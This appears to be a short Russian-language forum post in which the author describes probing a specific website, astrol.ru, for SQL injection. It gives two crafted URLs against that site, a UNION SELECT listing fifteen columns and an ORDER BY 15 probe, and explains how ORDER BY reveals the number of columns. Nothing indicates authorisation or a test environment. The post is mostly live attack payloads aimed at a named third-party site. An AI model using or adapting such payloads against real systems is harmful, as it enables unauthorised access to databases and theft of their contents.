до 15 дошел. дальше не пробовал
http://astrol.ru/index.php?page=125'+UNION+SELECT+1,2,3,4,5,6,7,8,9 ,10,11,12,13,14,15/*
хотя как я понял конструкция ордер бай действует так:
если больше например 15 столбцов - мы получаем корректный ответ. если меньше - ошибку.
ну вот
http://astrol.ru/index.php?page=125'+order+by+15/*